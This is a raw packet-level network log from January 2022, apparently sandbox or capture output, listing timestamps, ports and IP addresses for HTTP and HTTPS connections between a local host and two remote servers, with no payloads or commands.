Jan 14, 2022 21:05:00.453377008 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453406096 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453412056 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453449011 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453490973 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453530073 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453541994 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453569889 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453581095 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453609943 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453648090 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453687906 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453720093 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453727007 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453749895 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453767061 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453807116 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453811884 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.453844070 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453918934 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453962088 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453990936 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.453996897 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454032898 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454034090 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454073906 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454113960 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454128027 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454154015 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454168081 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454195976 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454237938 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454278946 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454310894 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454344988 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454360008 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454385996 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454428911 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454467058 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454480886 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454507113 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454519987 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454547882 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454590082 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454631090 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454651117 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454684019 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454710960 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.454722881 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454762936 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.454813004 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471055984 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471113920 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471152067 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471158981 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471198082 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471208096 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471236944 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471280098 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471318007 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471338034 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471358061 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471374989 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471398115 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471429110 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471467972 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471472025 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471507072 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471512079 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471546888 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471587896 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471626997 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471638918 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471664906 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:00.471676111 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471712112 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.471828938 CET	49779	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:00.489154100 CET	80	49779	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.064995050 CET	49780	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.082132101 CET	80	49780	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.082619905 CET	49780	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.082753897 CET	49780	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.082768917 CET	49780	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.099812031 CET	80	49780	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.214004040 CET	80	49780	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.214150906 CET	49780	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.214488983 CET	49780	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.231589079 CET	80	49780	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.546338081 CET	49782	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.563700914 CET	80	49782	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.564555883 CET	49782	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.564620972 CET	49782	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.564631939 CET	49782	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.581928968 CET	80	49782	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.581955910 CET	80	49782	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.703668118 CET	80	49782	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:02.704742908 CET	49782	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.704931021 CET	49782	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:02.722265959 CET	80	49782	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.025073051 CET	49784	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.042481899 CET	80	49784	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.042609930 CET	49784	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.042829037 CET	49784	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.042979956 CET	49784	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.060241938 CET	80	49784	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.159749031 CET	80	49784	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.160768032 CET	49784	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.161011934 CET	49784	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.168716908 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.168768883 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.168885946 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.170067072 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.170088053 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.178280115 CET	80	49784	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.240029097 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.240165949 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.242338896 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.242361069 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.242629051 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.259497881 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.277496099 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.277601957 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.277673006 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.277965069 CET	49785	443	192.168.2.5	185.233.81.115
Jan 14, 2022 21:05:03.277981997 CET	443	49785	185.233.81.115	192.168.2.5
Jan 14, 2022 21:05:03.309510946 CET	49786	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.326793909 CET	80	49786	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.326936007 CET	49786	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.327099085 CET	49786	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.327147007 CET	49786	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.344309092 CET	80	49786	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.446043968 CET	80	49786	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.446069956 CET	80	49786	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.446175098 CET	49786	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.446402073 CET	49786	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.463553905 CET	80	49786	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.768362045 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.785722017 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.785881996 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.786017895 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.845156908 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887017965 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887052059 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887068987 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887085915 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887103081 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887113094 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.887120962 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887139082 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887161016 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887161016 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.887166977 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.887177944 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887196064 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.887214899 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.887255907 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.904618025 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926477909 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926527023 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926542997 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926559925 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926575899 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926592112 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926626921 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926645041 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926662922 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926668882 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.926681995 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926698923 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926706076 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.926717043 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926728964 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.926733971 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926750898 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926768064 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926785946 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926789999 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.926804066 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926817894 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.926820040 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.926892042 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.944278002 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.944324017 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.944343090 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.944359064 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.944509029 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.944561005 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966154099 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966188908 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966206074 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966223001 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966239929 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966254950 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966273069 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966289043 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966306925 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966308117 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966325045 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966341972 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966345072 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966351986 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966356993 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966362000 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966377974 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966378927 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966393948 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966396093 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966413975 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966429949 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966447115 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966463089 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966464996 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966483116 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966500044 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966506958 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966512918 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966521025 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966531038 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966548920 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966563940 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966566086 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966583014 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966583014 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966598988 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966600895 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966618061 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966634989 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966636896 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966650963 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966665983 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966667891 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966685057 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966702938 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966721058 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966721058 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966737986 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966738939 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966753960 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966770887 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966777086 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966788054 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966809034 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966821909 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966828108 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966835022 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966852903 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966870070 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966881990 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966887951 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:03.966902018 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.966959000 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:03.984186888 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.005785942 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.005918980 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.005924940 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.005978107 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006033897 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006045103 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006082058 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006118059 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006151915 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006156921 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006196976 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006226063 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006231070 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006268024 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006284952 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006304026 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006339073 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006362915 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006376028 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006411076 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006432056 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006448030 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006484985 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006510973 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006519079 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006553888 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006576061 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006589890 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006623983 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006644011 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006659985 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006695032 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006717920 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006731987 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006768942 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006783009 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006803036 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006839991 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006855011 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006877899 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006911993 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006937027 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.006947994 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.006984949 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007020950 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007034063 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007056952 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007082939 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007091045 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007127047 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007142067 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007162094 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007195950 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007214069 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007232904 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007267952 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007303953 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007308006 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007340908 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007359028 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007375002 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007411003 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007431030 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007446051 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007479906 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007493973 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007533073 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007571936 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007590055 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007612944 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007652998 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007678032 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.007687092 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.007741928 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025145054 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025219917 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025279045 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025285006 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025343895 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025393963 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025399923 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025439978 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025477886 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025490046 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025516033 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025554895 CET	80	49787	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:04.025563002 CET	49787	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:04.025593996 CET	80	49787	8.209.70.0	192.168.2.5
